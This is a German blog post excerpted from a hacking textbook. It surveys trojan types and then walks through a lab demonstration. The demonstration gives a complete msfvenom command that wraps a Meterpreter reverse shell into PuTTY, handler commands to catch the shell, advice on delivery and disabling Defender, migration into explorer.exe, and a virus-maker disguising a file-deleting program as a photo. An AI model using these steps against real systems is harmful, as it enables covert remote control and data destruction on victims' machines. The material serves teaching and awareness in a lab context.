Trojaner in der Praxis

Gastbeitrag von | 07.12.2020 | Softwareentwicklung |

Trojanische Pferde verbergen etwas. So viel ist aus dem Geschichtsunterricht noch bekannt. Nur heute schmuggeln diese harmlos erscheinenden Objekte keine griechischen Soldaten mehr, sondern Schadprogramme und Malware. Der folgende Artikel bietet einen Überblick zu verschiedenen Tarn-Arten, wie man sie selbst baut und so besser versteht und schlussendlich, wie man sich vor ihnen schützt.

Die Formen von Trojanern

Es existieren unzählige Formen, in denen Trojaner in Erscheinung treten. Schauen wir uns ein paar wichtige an:

CLI-Trojaner

CLI steht für „Command Line Interface“ und bezeichnet schlicht eine Kommandozeile. Diese wird im Rahmen einer Shell zur Verfügung gestellt, womit wir beim Begriff „Command Shell Trojan“ sind. Sie ermöglichen den Zugriff auf eine Shell auf dem Opfer-System. Im Kapitel „Einen Trojaner selbst bauen“ schauen wir uns an, wie wir eine derartige Payload tarnen und auf dem Zielsystem ausführen können.

Botnet-Trojaner

Das Ziel eines Botnet-Trojaners ist die Infektion möglichst vieler Opfer-Systeme, um Bots zu „droppen“, also Bot-Software auf dem Opfer-System zu installieren. Je mehr Bots in einem Botnet zur Verfügung stehen, desto effektiver kann das Botnet eingesetzt werden. Botnets werden über Command & Control-Server (C&C-Server) gesteuert.

Proxy-Server-Trojaner

Dieser Trojaner installiert einen Proxy-Server auf dem Opfer-System, sodass der Angreifer das Zielsystem als Proxy für den Zugriff auf das Internet nutzen kann. Dies dient der Anonymisierung. Über Komponenten wie vicSock kann z.B. ein Trojaner installiert werden, um Grey und Black Hats die Möglichkeit zu bieten, über den vicSock als Proxy ins Internet zu gelangen, ohne dass der Besitzer des infizierten Computers etwas davon mitbekommt.

Remote-Access-Trojaner

Eine übergeordnete Kategorie von Trojanern sind die sogenannten RATs (Remote Access Trojan). Sie gewähren dem Angreifer einen wie auch immer gearteten Admin-Zugriff auf das Opfer-System und sind oftmals darauf ausgelegt, dem Angreifer umfassende Kontrolle über das Zielsystem zu verschaffen. RATs können sowohl kommandozeilenbasierten Zugriff als auch GUI-Zugriff gewähren. Es existieren zahlreiche RAT-Varianten.

HTTP/HTTPS-Trojaner

Firewalls blockieren oftmals nicht regulär verwendete Ports – das ist ja auch der Sinn der Sache. Ein HTTP- oder besser HTTPS-Trojaner nutzt die in der Regel offenen Ports 80/tcp und 443/tcp, um einen Client auf dem Opfer-System zu installieren, der eine Verbindung mit einem Webserver im Internet aufbaut. Dieser Webserver steht unter der Kontrolle des Angreifers. Je nach Szenario wird über diesen Weg eine Reverse-Shell aufgebaut oder es werden Dateien heruntergeladen und installiert.

E-Banking-Trojaner

Einige Trojaner sind darauf spezialisiert, Online-Banking-Daten abzufangen und an einen Server im Internet zu senden. Gelingt es dem Angreifer in dieser Form, z.B. Kreditkartendaten oder PINs abzugreifen, bevor diese Daten per SSL/TLS verschlüsselt werden, so umgeht er die Entschlüsselungsproblematik. Diese Funktion wird häufig auch durch Bots bereitgestellt, die weitere Funktionen erfüllen können, wenn der C&C-Server dies anfordert. Ein E-Banking-Trojaner kann entweder komplett passiv Daten sammeln oder aber TANs und Formulare abfangen und manipulieren, um z.B. Kontodaten für Zielkonten zu ändern.

Destruktive Trojaner

Normalerweise ist das Ziel eines Trojaners, möglichst unauffällig Daten zu sammeln und Informationen zu manipulieren – ggf. wird ein Schadcode abgeworfen, der weitere Ziele verfolgt. In einigen Fällen geht es dem Entwickler des Trojaners jedoch darum, möglichst umfassenden Schaden anzurichten. Derartig destruktive Trojaner zerstören dann z.B. die Daten der Laufwerke oder den Bootsektor, um das System komplett funktionsunfähig zu machen. Neuere Trojaner verbinden hier das „Angenehme mit dem Nützlichen“ und machen die vorhandenen Daten durch Verschlüsselung unbrauchbar, um dem Benutzer die Möglichkeit zu geben, durch Zahlung eines „angemessenen“ Preises das Passwort für die Entschlüsselung zu erhalten (Ransomware).

Einen Trojaner selbst bauen

Wollen wir zusammen kurz einen Trojaner bauen? Dazu benötigen wir eine Payload, die wir mittels Wrapper in einer Carrier Application verstecken. Hier geht es darum, ein nützliches Programm zu manipulieren, damit zusätzlich zu der Nutzfunktion die bösartige Payload in Form einer Reverse-Shell ausgeführt wird.

Tarnung über eine Carrier Application bereitstellen

Wir starten auf unserem Kali-System. Dort laden wir eine ausführbare Datei aus dem Internet, die wir als Tarnung verwenden werden. Sie wird als „Carrier Application“ bezeichnet, da sie die Payload transportiert. In unserem Beispiel verwenden wir die direkt ausführbare Version des Terminalpro gramms PuTTY. Diese können Sie im Downloadbereich von putty.org herunterladen. Achten Sie darauf, dass Sie die 32-Bit-Version von PUTTY.EXE im Abschnitt ALTERNATIVE BINARY FILES auswählen (siehe Abbildung). Dies ist für den weiteren Verlauf der Demonstration notwendig.

Download von Putty.exe

Download von putty.exe

Den Trojaner erstellen

Die Payload erstellen wir mit msfvenom. Für unsere Zwecke erweitern wir die Eingabe um einige Parameter und nutzen msfvenom gleichzeitig als Wrapper, um die Payload mit PuTTY zu verknüpfen. Nachdem Sie mit -p die entsprechende Payload und im Anschluss die Angaben zum Listener gemacht haben (LHOST und LPORT), geben Sie mit -x die Datei an, die als Tarnung für unseren Trojaner dienen soll. Um sicherzustellen, dass Putty zusätzlich zur Payload auch ausgeführt wird, nutzen Sie die Option -k. Das Format der erstellten Datei geben Sie mit -f an und -o bestimmt den Ausgabeort und Dateinamen des Trojaners. Wir speichern den Trojaner gleich im DocumentRoot-Verzeichnis des Apache-Webservers. Hier der komplette Befehl:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.205 LPORT=8080 -x /root/Downloads/putty.exe -k -f exe -o /var/www/html/putty.exe

Damit stellen wir unseren Trojaner auf dem Webserver bereit.

Den Trojaner auf das Opfer-System übertragen

Den erstellten Trojaner müssen Sie nun dem Opfer unterjubeln. Das kann grundsätzlich via USB Stick, E-Mail, Drive-by-Download usw. geschehen. In unserem PoC holen wir uns die Datei wieder über den Webserver des Kali-Systems. Da diese bereits im Veröffentlichungsverzeichnis liegt, müssen Sie lediglich den Webserver mit service apache2 start starten, wenn er noch nicht gestartet ist. Beachten Sie, dass Sie ggf. den HTTP-Listener von Empire zunächst beenden müssen, da er ebenfalls Port 80/tcp belegt. Dazu können Sie z.B. Empire einfach beenden.

Bereitmachen für eingehende Verbindung

Auf dem Kali-System erstellen wir nun einen Multihandler mit msfconsole, der die Meterpreter-Shell des Trojaners entgegennimmt:

msf > use exploit/multi/handler
msf > set payload windows/meterpreter_reverse_tcp
msf > set LHOST 192.168.1.205
msf > set LPORT 8080
msf > run

Jetzt müssen wir nur noch abwarten, bis das Opfer den Trojaner ausführt und dieser eine Reverse-Shell mit uns aufbaut.

Als Opfer-System dient in diesem Szenario ein Windows 10. Dort laden Sie über einen Browser die auf dem Webserver bereitgestellte Datei putty.exe herunter. Da Windows 10 bzw. der Windows Defender diese Datei als Virus erkennt und löscht, müssen Sie zuvor die Schutzmechanismen wie bereits bekannt deaktivieren, um den Download erfolgreich durchführen zu können.

Der Trojaner wird heruntergeladen und ausgeführt

Der Trojaner wird heruntergeladen und ausgeführt

Wenn Sie möchten, können Sie das Programm direkt ausführen oder zunächst in den Downloads-Ordner wechseln.

Schadcode wird ausgeführt

Es öffnet sich das Terminalprogramm PuTTY wie in Abbildung unten gezeigt und kann ganz normal verwendet werden. Das Opfer bemerkt nicht, wie im Hintergrund eine Reverse-Shell aufgebaut wird. Werfen wir einen Blick auf unser Kali-System, so finden wir dort eine Meterpreter-Shell am Multi-Handler-Listener in msfconsole.

PuTTy mit unsichtbarer Payload

PuTTY mit unsichtbarer Payload

Wird PuTTY wieder beendet, so wird auch unsere Meterpreter-Shell geschlossen. Das ist ungünstig. Daher werden wir nun die Shell an einen anderen Prozess binden, der normalerweise nicht vorzeitig beendet wird. Hier bietet sich explorer.exe an. Dazu ermitteln Sie in der Meterpreter-Shell mit ps die Prozess-ID von explorer.exe (mit -S können Sie nach einem Prozessnamen suchen) und migrieren unsere Shell auf diesen Prozess. Abbildung unten zeigt den Vorgang.

Wir binden den Trojaner an den Prozess explorer.exe

Wir binden den Trojaner an den Prozess explorer.exe

Ab sofort versteckt sich die Meterpreter-Shell hinter dem Prozess explorer.exe und ist vom Trojaner unabhängig. Schließt der Anwender auf dem Opfer-System PuTTY, bleibt der Angreifer im Spiel und die Meterpreter-Shell erhalten.

Viren- und Trojaner-Baukästen

Neben MSF existieren zahlreiche weitere Tools zum Erstellen von Trojanern und anderer Malware. Diese Tools haben viele Optionen und beschränken sich nicht auf einen Malware-Typ. Viele davon sind Windows-Anwendungen und bringen eine grafische Oberfläche mit. Nachfolgend stellen wir Ihnen als Überblick einige vor. Es sollte klar sein, dass wir uns mit diesen Tools in den Scriptkiddie-Bereich begeben und uns daher nicht lange damit aufhalten werden.

Vorsicht: Trojaner-Baukästen sind oft selbst Trojaner!

So verlockend diese Baukästen für Viren und Trojaner auch sein mögen, so wahrscheinlich ist es auch, dass die Software, die Sie aus dem Internet herunterladen, selbst eine Payload enthält. Es ist ein beliebtes Spiel im Internet, den Täter zum Opfer zu machen. Seien Sie also sehr vorsichtig beim Herunterladen von Angriffstools in Ihr Laborsystem und betreiben Sie derartige Tools zu Lernzwecken stets in abgeschotteten VMs! 

Dark Horse Trojan Virus Maker

Tools wie Dark Horse Trojan Virus Maker, TeraBIT Virus Maker oder auch JPS Virus Maker sind im Internet ohne versteckten Schadcode fast nicht zu finden. Das Darknet eignet sich hierbei evtl. als bessere Quelle. Unsere Empfehlung an dieser Stelle ist allerdings, besser ganz auf eine Suche nach diesen Tools zu verzichten. Wir zeigen Ihnen jedoch einmal kurz, wie man fast ohne Fachkenntnisse mit einem solchen Tool einen Schadcode erstellt, der nur auf Zerstörung aus ist. Dies dient in erster Linie dazu, Sie zu sensibilisieren. Grundsätzlich ist diese Art von Tools sehr ähnlich aufgebaut, und die Tools variieren nur etwas in ihrem Funktionsumfang. Funktionen können unter anderem sein:

  • eine selbst erstellte Fehlermeldung anzeigen
  • ein Skript ausführen
  • Funktionen deaktivieren
  • Anwendungen deaktivieren/starten
  • Tastatur und Maus manipulieren
  • Hintergrund, Uhrzeit etc. ändern
  • eine Webseite öffnen
  • Dateien und Ordner anlegen/löschen
  • Tarnung hinter einem beliebigen Icon
  • und vieles mehr

Zur Veranschaulichung zeigen wir das Tool Virus Maker. Damit erstellen wir eine Datei – also eigentlich ein Programm, das wir als Urlaubsfoto tarnen. Öffnet ein Benutzer diese scheinbare Bild-Datei, bekommt er stattdessen eine Warnung angezeigt, dass alle Fotos gelöscht wurden. Tatsächlich haben wir auch genau diese Schadfunktion implementiert: Alle Dateien, die sich im selben Verzeichnis befinden und die Dateiendung .jpg besitzen, wurden gelöscht. Um dies zu erreichen, müssen wir lediglich ein paar Haken setzen, einen Text für die Meldung eingeben, eine .ico-Datei für das Icon wählen und im Anschluss auf SAVE klicken.

Malware mit dem Dark Horse Trojan Virus Maker erstellen

Malware mit dem Dark Horse Trojan Virus Maker erstellen

Sie haben hier kurz und knapp gesehen, wie mit wenig Aufwand und fast ohne Hacking-Kenntnisse eine kleine, aber sehr gemeine Programmdatei erstellt werden kann, die getarnt ist. Diese Tools sind nur dafür entwickelt worden, um Schaden anzurichten und um Scriptkiddies die Möglichkeit zu geben, anderen Computerbenutzern einen bösen Streich zu spielen. Professionellere Hacking- und Malware-Techniken gehen andere Wege.

 

Hinweise:

Dieser Artikel ist ein Auszug aus dem neuen Buch „Hacking“ von Eric Amberg und Daniel Schmid. Die beiden Autoren haben bereits viele gemeinsame Projekte erfolgreich umgesetzt und sind die Gründer der Hacking-Akademie

Der Artikel ist KEINE Aufforderung zum Bauen von Trojanern, sondern soll Sie für die Einfachheit sensibilisieren und vor den Gefahren des Themas warnen.

Alle Infos zum Buch, das Inhaltsverzeichnis und eine kostenlose Leseprobe finden Sie hier beim Fachbuchverlag mitp für IT, Business und Fotografie. 

Hacking - Der umfassende Praxis-Guide
Eric Amberg
Eric Amberg

Eric Amberg ist selbstständiger Experte für IT-Netzwerke und -Sicherheit und hat in den letzten 20 Jahren zahlreiche Projekte aller Größenordnungen durchgeführt. Seine große Leidenschaft ist die Wissensvermittlung, die er in Büchern, Magazinen und insbesondere Videotrainings stets praxisnah und lebendig präsentiert. Er verfügt über zahlreiche Zertifizierungen, unter anderem CEHv10, CISSP, CCNP Security, LPIC-2 und ist zertifizierter Cisco-Trainer (CSI # 34318).

Daniel Schmid
Daniel Schmid

Daniel Schmid ist bei einem großen Energiekonzern im Bereich Netzwerke und Security tätig. Als Projektleiter für diverse große, teils internationale Projekte hat er in über 10 Jahren viel Erfahrung in der Planung und Implementation sicherheitskritischer Infrastruktur gesammelt und dabei seine Leidenschaft für das Thema „Hacking und Penetration Testing“ entdeckt.